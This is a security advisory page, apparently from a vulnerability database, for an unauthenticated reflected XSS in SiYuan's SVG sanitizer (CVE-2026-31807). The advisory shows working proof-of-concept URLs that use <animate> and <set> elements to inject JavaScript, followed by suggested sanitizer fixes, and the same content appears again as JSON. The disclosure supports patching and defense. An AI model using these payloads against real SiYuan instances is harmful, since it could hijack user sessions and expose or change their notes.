GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-5HC8-QMG8-PW27

Vulnerability from github – Published: 2026-03-10 23:49 – Updated: 2026-03-10 23:49
VLAI
Summary
SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS
Details

SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS

Summary

SiYuan's SVG sanitizer (SanitizeSVG) blocks dangerous elements (<script>, <iframe>, <foreignobject>) and removes on* event handlers and javascript: in href attributes. However, it does NOT block SVG animation elements (<animate>, <set>) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint (type=8), creating a reflected XSS.

This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).

Affected Component

  • File: kernel/util/misc.go
  • Function: SanitizeSVG() (lines 234-319)
  • Endpoint: GET /api/icon/getDynamicIcon?type=8&content=... (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The sanitizer checks attributes on elements at parse time. SVG <animate> and <set> elements modify attributes at runtime — these elements are not in the sanitizer's blocklist.

Sanitizer's blocklist (line 250)

if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" {
    n.RemoveChild(c)
    // ...
}

Missing from blocklist: animate, set, animateTransform, animateMotion

Attribute check (lines 264-267)

// Only checks static attributes
if strings.HasPrefix(key, "on") {
    continue
}

The <animate> element's values attribute contains the payload (javascript:...), but the sanitizer only checks for on* prefix, href, or xlink:href keys. The values, to, from, attributeName attributes are all passed through.

Proof of Concept

Vector 1: <animate> sets href to javascript:

GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue

After template rendering, the SVG contains:

<svg ...>
    <text ...></text>
    <a>
        <animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>
        <text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text>
    </a>
    <text></text>
</svg>

The sanitizer passes this through because: 1. <animate> is not in the element blocklist 2. attributeName="href" — key is attributename, doesn't start with on, not href itself 3. values="javascript:..." — key is values, not href

When the SVG is rendered in the browser (navigating directly to the URL), <animate> sets the parent <a> element's href to javascript:alert(document.domain). Clicking "Click me" triggers the JavaScript.

Vector 2: <set> modifies event handlers

GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue

The <set> element dynamically adds an onmouseover event handler to the parent element at runtime.

Attack Scenario

  1. Attacker crafts a malicious getDynamicIcon URL with XSS payload
  2. Attacker sends the URL to a victim who has an active SiYuan session
  3. Victim clicks/navigates to the URL
  4. SVG renders with Content-Type image/svg+xml — browser renders as standalone SVG document
  5. JavaScript executes in the SiYuan server's origin
  6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes

Impact

  • Severity: CRITICAL (CVSS ~9.1)
  • Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Unauthenticated reflected XSS via SVG injection
  • Executes in the SiYuan application origin, giving full access to authenticated APIs
  • Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)
  • Bypasses the fix for CVE-2026-29183

Suggested Fix

Add animation elements to the sanitizer blocklist:

// In SanitizeSVG, line 250:
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
   tag == "foreignobject" || tag == "animate" || tag == "set" ||
   tag == "animatetransform" || tag == "animatemotion" {
    n.RemoveChild(c)
    c = next
    continue
}

Or additionally check the values, to, and from attributes for javascript: patterns:

if key == "values" || key == "to" || key == "from" {
    if strings.Contains(val, "javascript:") {
        continue
    }
}

Also consider checking attributeName — if it targets href, xlink:href, or any on* attribute, the animation element should be removed entirely.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260310025236-297bd526708f"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T23:49:23Z",
    "nvd_published_at": "2026-03-10T21:16:50Z",
    "severity": "MODERATE"
  },
  "details": "# SVG Sanitizer Bypass via `\u003canimate\u003e` Element \u2014 Unauthenticated XSS\n\n## Summary\n\nSiYuan\u0027s SVG sanitizer (`SanitizeSVG`) blocks dangerous elements (`\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003cforeignobject\u003e`) and removes `on*` event handlers and `javascript:` in `href` attributes. However, it does NOT block SVG animation elements (`\u003canimate\u003e`, `\u003cset\u003e`) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated `/api/icon/getDynamicIcon` endpoint (type=8), creating a reflected XSS.\n\nThis is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).\n\n## Affected Component\n\n- **File:** `kernel/util/misc.go`\n- **Function:** `SanitizeSVG()` (lines 234-319)\n- **Endpoint:** `GET /api/icon/getDynamicIcon?type=8\u0026content=...` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe sanitizer checks attributes on elements at **parse time**. SVG `\u003canimate\u003e` and `\u003cset\u003e` elements modify attributes **at runtime** \u2014 these elements are not in the sanitizer\u0027s blocklist.\n\n### Sanitizer\u0027s blocklist (line 250)\n\n```go\nif tag == \"script\" || tag == \"iframe\" || tag == \"object\" || tag == \"embed\" || tag == \"foreignobject\" {\n    n.RemoveChild(c)\n    // ...\n}\n```\n\nMissing from blocklist: `animate`, `set`, `animateTransform`, `animateMotion`\n\n### Attribute check (lines 264-267)\n\n```go\n// Only checks static attributes\nif strings.HasPrefix(key, \"on\") {\n    continue\n}\n```\n\nThe `\u003canimate\u003e` element\u0027s `values` attribute contains the payload (`javascript:...`), but the sanitizer only checks for `on*` prefix, `href`, or `xlink:href` keys. The `values`, `to`, `from`, `attributeName` attributes are all passed through.\n\n## Proof of Concept\n\n### Vector 1: `\u003canimate\u003e` sets `href` to `javascript:`\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003ca\u003e\u003canimate attributeName=\"href\" values=\"javascript:alert(document.domain)\" begin=\"0s\" fill=\"freeze\"/\u003e\u003ctext x=\"50%25\" y=\"80%25\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003ctext\u003e\u0026color=blue\n```\n\nAfter template rendering, the SVG contains:\n```xml\n\u003csvg ...\u003e\n    \u003ctext ...\u003e\u003c/text\u003e\n    \u003ca\u003e\n        \u003canimate attributeName=\"href\" values=\"javascript:alert(document.domain)\" begin=\"0s\" fill=\"freeze\"/\u003e\n        \u003ctext x=\"50%\" y=\"80%\" fill=\"red\" style=\"font-size:60px\"\u003eClick me\u003c/text\u003e\n    \u003c/a\u003e\n    \u003ctext\u003e\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nThe sanitizer passes this through because:\n1. `\u003canimate\u003e` is not in the element blocklist\n2. `attributeName=\"href\"` \u2014 key is `attributename`, doesn\u0027t start with `on`, not `href` itself\n3. `values=\"javascript:...\"` \u2014 key is `values`, not `href`\n\nWhen the SVG is rendered in the browser (navigating directly to the URL), `\u003canimate\u003e` sets the parent `\u003ca\u003e` element\u0027s `href` to `javascript:alert(document.domain)`. Clicking \"Click me\" triggers the JavaScript.\n\n### Vector 2: `\u003cset\u003e` modifies event handlers\n\n```\nGET /api/icon/getDynamicIcon?type=8\u0026content=\u003c/text\u003e\u003cset attributeName=\"onmouseover\" to=\"alert(document.domain)\"/\u003e\u003ctext\u003e\u0026color=blue\n```\n\nThe `\u003cset\u003e` element dynamically adds an `onmouseover` event handler to the parent element at runtime.\n\n## Attack Scenario\n\n1. Attacker crafts a malicious `getDynamicIcon` URL with XSS payload\n2. Attacker sends the URL to a victim who has an active SiYuan session\n3. Victim clicks/navigates to the URL\n4. SVG renders with Content-Type `image/svg+xml` \u2014 browser renders as standalone SVG document\n5. JavaScript executes in the SiYuan server\u0027s origin\n6. Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes\n\n## Impact\n\n- **Severity:** CRITICAL (CVSS ~9.1)\n- **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation)\n- Unauthenticated reflected XSS via SVG injection\n- Executes in the SiYuan application origin, giving full access to authenticated APIs\n- Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)\n- Bypasses the fix for CVE-2026-29183\n\n## Suggested Fix\n\nAdd animation elements to the sanitizer blocklist:\n\n```go\n// In SanitizeSVG, line 250:\nif tag == \"script\" || tag == \"iframe\" || tag == \"object\" || tag == \"embed\" ||\n   tag == \"foreignobject\" || tag == \"animate\" || tag == \"set\" ||\n   tag == \"animatetransform\" || tag == \"animatemotion\" {\n    n.RemoveChild(c)\n    c = next\n    continue\n}\n```\n\nOr additionally check the `values`, `to`, and `from` attributes for `javascript:` patterns:\n\n```go\nif key == \"values\" || key == \"to\" || key == \"from\" {\n    if strings.Contains(val, \"javascript:\") {\n        continue\n    }\n}\n```\n\nAlso consider checking `attributeName` \u2014 if it targets `href`, `xlink:href`, or any `on*` attribute, the animation element should be removed entirely.",
  "id": "GHSA-5hc8-qmg8-pw27",
  "modified": "2026-03-10T23:49:23Z",
  "published": "2026-03-10T23:49:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31807"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.5.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan has a SVG Sanitizer Bypass via `\u003canimate\u003e` Element \u2014 Unauthenticated XSS"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…